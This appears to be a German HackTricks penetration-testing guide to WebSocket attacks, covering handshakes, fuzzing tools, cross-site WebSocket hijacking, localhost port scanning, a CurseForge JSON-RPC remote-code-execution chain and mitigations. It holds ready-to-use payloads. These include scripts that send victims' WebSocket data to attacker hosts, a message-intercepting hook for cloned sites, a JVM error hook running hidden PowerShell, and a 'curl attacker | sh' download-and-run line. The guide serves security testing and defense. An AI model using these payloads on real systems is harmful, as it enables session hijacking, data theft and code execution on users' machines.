WebSocket Angriffe

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was sind WebSockets

WebSocket-Verbindungen werden über einen initialen HTTP-Handshake aufgebaut und sind darauf ausgelegt, langlebig zu sein, sodass ein bidirektionaler Nachrichtenaustausch jederzeit möglich ist, ohne ein transaktionales System zu benötigen. Das macht WebSockets besonders vorteilhaft für Anwendungen, die geringe Latenz oder server-initiierte Kommunikation benötigen, wie z. B. Live-Finanzdatenströme.

Aufbau von WebSocket-Verbindungen

Eine ausführliche Erklärung zum Aufbau von WebSocket-Verbindungen finden Sie here. Zusammenfassend werden WebSocket-Verbindungen üblicherweise über clientseitiges JavaScript initiiert, wie unten gezeigt:

var ws = new WebSocket("wss://normal-website.com/ws")

Das wss-Protokoll kennzeichnet eine mit TLS gesicherte WebSocket-Verbindung, während ws eine ungesicherte Verbindung anzeigt.

Während der Verbindungsherstellung wird über HTTP ein Handshake zwischen Browser und Server durchgeführt. Dabei sendet der Browser eine Anfrage und der Server antwortet, wie in den folgenden Beispielen dargestellt:

Browser sendet eine Handshake-Anfrage:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Server-Antwort auf das Handshake:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Die Verbindung bleibt nach dem Aufbau offen, sodass ein Nachrichtenaustausch in beide Richtungen möglich ist.

Wesentliche Punkte des WebSocket-Handshakes:

  • Die Header Connection und Upgrade signalisieren den Beginn eines WebSocket-Handshakes.
  • Der Header Sec-WebSocket-Version gibt die gewünschte WebSocket-Protokollversion an, normalerweise 13.
  • Ein in Base64 kodierter Zufallswert wird im Header Sec-WebSocket-Key gesendet, wodurch jeder Handshake einzigartig ist — das hilft, Probleme mit Caching-Proxies zu vermeiden. Dieser Wert dient nicht zur Authentifizierung, sondern dazu sicherzustellen, dass die Antwort nicht von einem falsch konfigurierten Server oder Cache erzeugt wurde.
  • Der Header Sec-WebSocket-Accept in der Serverantwort ist ein Hash des Sec-WebSocket-Key und bestätigt die Absicht des Servers, eine WebSocket-Verbindung zu öffnen.

Diese Merkmale sorgen dafür, dass der Handshake-Prozess sicher und zuverlässig ist und den Weg für effiziente Echtzeitkommunikation ebnen.

Linux-Konsole

Du kannst websocat verwenden, um eine rohe Verbindung zu einem WebSocket herzustellen.

websocat --insecure wss://10.10.10.10:8000 -v

Oder um einen websocat-Server zu erstellen:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket-Verbindungen

Wenn du feststellst, dass Clients aus deinem aktuellen lokalen Netzwerk mit einem HTTP websocket verbunden sind, kannst du einen ARP Spoofing Attack versuchen, um einen MitM attack zwischen Client und Server durchzuführen.
Sobald der Client versucht, sich mit dir zu verbinden, kannst du dann Folgendes verwenden:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

You can use the tool https://github.com/PalindromeLabs/STEWS to discover, fingerprint and search for known vulnerabilities in websockets automatically.

Websocket Debug tools

  • Burp Suite unterstützt MitM Websocket-Kommunikation auf eine sehr ähnliche Weise wie die reguläre HTTP-Kommunikation.
  • Die socketsleuth Burp Suite extension ermöglicht eine bessere Verwaltung von Websocket-Kommunikationen in Burp, indem sie Zugriff auf die history bietet, interception rules setzt, match and replace-Regeln verwendet sowie Intruder und AutoRepeater unterstützt.
  • WSSiP: Kurz für “WebSocket/Socket.io Proxy” — dieses Tool, geschrieben in Node.js, stellt eine Benutzeroberfläche bereit, um Nachrichten zu capture, intercept, custom messages zu senden und alle WebSocket- und Socket.IO-Kommunikationen zwischen Client und Server einzusehen.
  • wsrepl ist ein interactive websocket REPL, speziell für penetration testing entwickelt. Es bietet eine Oberfläche zum Beobachten eingehender websocket messages und zum Senden neuer Nachrichten sowie ein benutzerfreundliches Framework zur Automatisierung dieser Kommunikation.
  • https://websocketking.com/ ist eine Webanwendung, um mit anderen Seiten über websockets zu kommunizieren.
  • https://hoppscotch.io/realtime/websocket bietet unter anderem eine Weboberfläche, um mit anderen Seiten über websockets zu kommunizieren.

Decrypting Websocket

Websocket Lab

In Burp-Suite-Extender-Montoya-Course findest du Code, um eine Webanwendung mit websockets zu starten, und in this post findest du eine Erklärung.

Websocket Fuzzing

Die Burp-Extension Backslash Powered Scanner erlaubt jetzt auch das Fuzzing von WebSocket-Nachrichten. Mehr Informationen dazu findest du here.

WebSocket Turbo Intruder (Burp extension)

PortSwigger’s WebSocket Turbo Intruder bringt Turbo Intruder–style Python-Scripting und hochfrequentes Fuzzing zu WebSockets. Installiere es aus dem BApp Store oder aus dem Source. Es beinhaltet zwei Komponenten:

  • Turbo Intruder: High‑volume messaging an einen einzelnen WS-Endpunkt unter Verwendung custom engines.
  • HTTP Middleware: stellt einen lokalen HTTP-Endpunkt bereit, der Bodies als WS-Nachrichten über eine persistente Verbindung weiterleitet, sodass jeder HTTP‑basierte Scanner WS‑Backends ansprechen kann.

Basic script pattern to fuzz a WS endpoint and filter relevant responses:

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))

def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Verwende Dekoratoren wie @MatchRegex(...), um Lärm zu reduzieren, wenn eine einzelne Nachricht mehrere Antworten auslöst.

WS hinter HTTP (HTTP-Middleware)

Kapsle eine persistente WS-Verbindung und leite HTTP-Bodies als WS-Nachrichten weiter für automatisiertes Testen mit HTTP-Scannern:

def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection

@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Sende dann HTTP lokal; der Body wird als WS-Nachricht weitergeleitet:

POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16

{"message":"hi"}

Damit kannst du WS-Backends steuern und gleichzeitig nach „interessanten“ Ereignissen filtern (z. B. SQLi-Fehler, auth bypass, command injection-Verhalten).

Socket.IO handling (handshake, heartbeats, events)

Socket.IO fügt dem WS eigenes Framing hinzu. Erkenne es über den obligatorischen Query-Parameter EIO (z. B. EIO=4). Halte die Session mit Ping (2) und Pong (3) am Leben und starte die Unterhaltung mit "40", sende dann Events wie 42["message","hello"].

Intruder-Beispiel:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

HTTP-Adapter-Variante:

import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)

Erkennung von server‑side prototype pollution über Socket.IO

Folge PortSwigger’s sicherer Erkennungstechnik und versuche, Express internals zu polluten, indem du ein payload wie folgt sendest:

{"__proto__":{"initialPacket":"Polluted"}}

Wenn Grüße oder Verhalten sich ändern (z. B. echo enthält “Polluted”), haben Sie wahrscheinlich serverseitige prototype pollution verursacht. Die Auswirkungen hängen von erreichbaren Sinks ab; korrelieren Sie mit den Gadgets im Node.js prototype pollution Abschnitt. Siehe:

WebSocket race conditions with Turbo Intruder

The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in config().

  • Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).

WebSocket DoS: malformed frame “Ping of Death”

Erzeugen Sie WS-Frames, deren Header eine sehr große Payload-Länge angibt, aber keinen Body senden. Einige WS-Server vertrauen auf die Länge und reservieren Puffer voraus; das Setzen nahe Integer.MAX_VALUE kann zu Out‑Of‑Memory und einem entfernten unauth DoS führen. Siehe das Beispielskript.

CLI and debugging

  • Headless fuzzing: java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
  • Enable the WS Logger to capture and correlate messages using internal IDs.
  • Use inc*/dec* helpers on Connection to tweak message ID handling in complex adapters.
  • Decorators like @PingPong/@Pong and helpers like isInteresting() reduce noise and keep sessions alive.

Operational safety

Hochfrequentes WS-Fuzzing kann viele Verbindungen öffnen und tausende Nachrichten pro Sekunde senden. Fehlformatierte Frames und hohe Raten können echten DoS verursachen. Nur dort einsetzen, wo es erlaubt ist.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, auch bekannt als cross-origin WebSocket hijacking, wird als ein Spezialfall von Cross-Site Request Forgery (CSRF) identifiziert, der WebSocket-Handshakes betrifft. Diese Schwachstelle entsteht, wenn WebSocket-Handshakes ausschließlich über HTTP cookies authentifizieren, ohne CSRF tokens oder ähnliche Schutzmaßnahmen.

Angreifer können dies ausnutzen, indem sie eine bösartige Webseite hosten, die eine cross-site WebSocket-Verbindung zu einer verwundbaren Anwendung initiiert. Folglich wird diese Verbindung als Teil der Sitzung des Opfers mit der Anwendung behandelt und nutzt das Fehlen von CSRF-Schutz in der Sitzungsverwaltung aus.

Damit dieser Angriff funktioniert, sind folgende Voraussetzungen erforderlich:

  • Die WebSocket-Authentifizierung muss cookie-basiert sein
  • Das Cookie muss vom Server des Angreifers zugänglich sein (das bedeutet normalerweise SameSite=None) und in Firefox darf keine Firefox Total Cookie Protection aktiviert sein und in Chrome dürfen keine blocked third-party cookies aktiv sein.
  • Der WebSocket-Server darf die Origin der Verbindung nicht prüfen (oder dies muss umgehbar sein)

Außerdem:

  • Wenn die Authentifizierung auf einer lokalen Verbindung (zu localhost oder zu einem lokalen Netzwerk) basiert, wird der Angriff möglich sein, da kein aktueller Schutz ihn verbietet (siehe mehr Infos hier)

Origin check disabled in Gorilla WebSocket (CheckOrigin always true)

Bei Gorilla WebSocket-Servern akzeptiert das Setzen von CheckOrigin so, dass es immer true zurückgibt, Handshakes von jeder Origin. Wenn der WS-Endpunkt außerdem keine Authentifizierung hat, kann jede Seite, die vom Browser des Opfers erreicht werden kann (Internet oder Intranet), ein Socket upgraden und beginnen, Nachrichten cross-site zu lesen bzw. zu senden.

<script>
const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
</script>

Auswirkung: Echtzeit-Exfiltration von gestreamten Daten (z. B. erfasste E-Mails/Benachrichtigungen) ohne Benutzeranmeldeinformationen, wenn jeder Origin akzeptiert wird und der endpoint die Authentifizierung überspringt.

Einfacher Angriff

Beachte, dass beim Herstellen einer websocket connection der cookie an den Server gesendet wird. Der server könnte ihn verwenden, um jeden konkreten user mit seiner websocket session basierend auf dem gesendeten cookie zu verknüpfen.

Wenn zum Beispiel der websocket server den Konversationsverlauf eines Users zurücksendet, wenn eine msg mit “READY” gesendet wird, dann kann eine simple XSS, die die Verbindung herstellt (der cookie wird gesendet automatisch, um den Opfer-user zu authorisieren), durch das Senden von “READY” den Konversationsverlauf abrufen.:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

In diesem Blogpost https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ gelang es dem Angreifer, execute arbitrary Javascript in a subdomain der Domain auszuführen, in der die Websocket-Kommunikation stattfand. Da es eine subdomain war, wurde der cookie sent, und weil der Websocket das Origin nicht richtig überprüfte, war es möglich, mit ihm zu kommunizieren und steal tokens from it.

Benutzerdaten stehlen

Kopiere die Webanwendung, die du nachahmen möchtest (z. B. die .html-Dateien) und füge innerhalb des Scripts, in dem die websocket-Kommunikation stattfindet, folgenden Code ein:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}

Lade jetzt die Datei wsHook.js von https://github.com/skepticfx/wshook herunter und speichere sie im Ordner mit den Webdateien.
Wenn du die Webanwendung öffentlich zugänglich machst und einen Benutzer dazu bringst, sich zu verbinden, kannst du die gesendeten und empfangenen Nachrichten über websocket abfangen:

sudo python3 -m http.server 80

CSWSH-Schutzmaßnahmen

Der CSWSH-Angriff basiert darauf, dass ein Benutzer eine bösartige Seite besucht, die eine websocket-Verbindung zu einer Website öffnet, bei der der Benutzer bereits angemeldet ist, und sich in seinem Namen authentifiziert, da die Anfrage die Cookies des Benutzers sendet.

Heutzutage ist es sehr einfach, dieses Problem zu verhindern:

  • Websocket-Server: Origin überprüfen: Der websocket-Server sollte immer prüfen, von wo sich ein Benutzer verbindet, um zu verhindern, dass unerwartete Seiten eine Verbindung herstellen.
  • Authentifizierungs-Token: Anstatt die Authentifizierung auf einem Cookie zu basieren, könnte die websocket-Verbindung auf einem Token basieren, das vom Server für den Benutzer generiert wird und dem Angreifer unbekannt ist (z. B. ein anti-CSRF-Token).
  • SameSite Cookie-Attribut: Cookies mit dem SameSite-Wert Lax oder Strict werden nicht von einer externen Angreiferseite an den Zielserver gesendet, daher funktioniert cookie-basierte Authentifizierung nicht. Beachte, dass Chrome standardmäßig Lax zu Cookies hinzufügt, bei denen dieses Flag nicht gesetzt ist, wodurch sie standardmäßig sicherer sind. Allerdings haben Cookies in den ersten 2 Minuten nach Erstellung den Wert None, wodurch sie in diesem begrenzten Zeitraum verwundbar sind (es wird außerdem erwartet, dass diese Maßnahme irgendwann entfernt wird).
  • Firefox Total Cookie Protection: Total Cookie Protection isoliert Cookies zu der Site, in der sie erstellt wurden. Im Wesentlichen hat jede Site ihre eigene Cookie-Storage-Partition, um zu verhindern, dass Drittanbieter die Browserverläufe von Nutzern verknüpfen. Das macht CSWSH unbrauchbar, da die Seite des Angreifers keinen Zugriff auf die Cookies hat.
  • Chrome third-party cookies block: Dies kann ebenfalls verhindern, dass das Cookie des authentifizierten Nutzers an den websocket-Server gesendet wird, selbst bei SameSite=None.

Localhost WebSocket-Missbrauch & Browser-Port-Erkennung

Desktop-Launcher starten häufig Helfer (z. B. den CurseAgent.exe von CurseForge), die JSON-RPC WebSockets auf 127.0.0.1:<random_port> öffnen. Der Browser setzt die SOP auf Loopback-Sockets nicht durch, daher kann jede Webseite den Handshake versuchen. Akzeptiert der Agent beliebige Origin-Werte und überspringt sekundäre Authentifizierung, wird die IPC-Oberfläche direkt aus JavaScript fernsteuerbar.

Auflisten exponierter Methoden

Fange eine legitime Sitzung ab, um den Protokollkontrakt zu kennen. CurseForge sendet z. B. Frames wie {"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]}, wobei name die RPC-Methode ist und args strukturierte Objekte (GUIDs, Auflösung, Flags usw.) enthält. Sobald diese Struktur bekannt ist, kannst du Methoden wie createModpack, minecraftGetDefaultLocation oder jede andere privilegierte Aufgabe direkt von einer eingeschleusten Seite aufrufen.

Browser-basierte Port-Erkennung

Da der Helfer an einen zufälligen hohen Port bindet, brute-forct der Exploit zuerst localhost über WebSockets. Chromium-basierte Browser tolerieren ~16k fehlgeschlagene Upgrades bevor sie drosseln, was ausreicht, um den ephemeren Bereich abzulaufen; Firefox neigt nach ein paar hundert Fehlern zum Absturz oder Einfrieren, daher zielen praktische PoCs oft auf Chromium.

Minimaler Browser-Scanner ```javascript async function findLocalWs(start = 20000, end = 36000) { for (let port = start; port <= end; port++) { await new Promise((resolve) => { const ws = new WebSocket(`ws://127.0.0.1:${port}/`); let settled = false; const finish = () => { if (!settled) { settled = true; resolve(); } }; ws.onerror = ws.onclose = finish; ws.onopen = () => { console.log(`Found candidate on ${port}`); ws.close(); finish(); }; }); } } ```

Sobald eine Verbindung den Handshake übersteht und protokollspezifische Daten zurückliefert, wiederverwende den Socket für die RPC-Kette.

Chaining JSON-RPC methods into RCE

The CurseForge exploit chains two unauthenticated calls:

  1. createModpack → gibt eine neue MinecraftInstanceGuid zurück, ohne Benutzerinteraktion.
  2. minecraftTaskLaunchInstance → startet diese GUID und akzeptiert beliebige JVM-Flags über AdditionalJavaArguments.

JNI/JVM diagnostic options bieten dann eine einsatzfähige RCE-Primitive. Beispielsweise den Metaspace begrenzen, um einen Absturz zu erzwingen, und den Error Hook zur Ausführung von Befehlen ausnutzen:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."

Auf Unix-Zielen tausche das Payload einfach gegen /bin/sh -c 'curl https://attacker/p.sh | sh' aus. Das funktioniert selbst wenn du den Anwendungscode nicht anfassen kannst — die Kontrolle über die JVM CLI reicht.

Dieses „create resource → privileged launch“-Muster tritt häufig in updaters und launchers auf. Immer wenn Methode (1) eine server-tracked identifier liefert und Methode (2) mit diesem Identifier Code ausführt oder einen Prozess startet, prüfe, ob benutzerkontrollierte Argumente injiziert werden können.

Race Conditions

Race Conditions in WebSockets gibt es ebenfalls, Weitere Informationen dazu findest du hier.

Andere Schwachstellen

Da Web Sockets ein Mechanismus sind, um Daten an Server- und Client-Seite zu senden, können — abhängig davon, wie Server und Client die Informationen verarbeiten — Web Sockets genutzt werden, um verschiedene andere Schwachstellen wie XSS, SQLi oder jede andere übliche Web-Schwachstelle mithilfe von Nutzereingaben aus einem WebSocket auszunutzen.

WebSocket Smuggling

Diese Schwachstelle könnte es dir erlauben, bypass reverse proxies restrictions indem sie dazu gebracht werden zu glauben, dass eine websocket communication was stablished (auch wenn das nicht stimmt). Dadurch könnte ein Angreifer access hidden endpoints. Für mehr Informationen siehe die folgende Seite:

Upgrade Header Smuggling

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks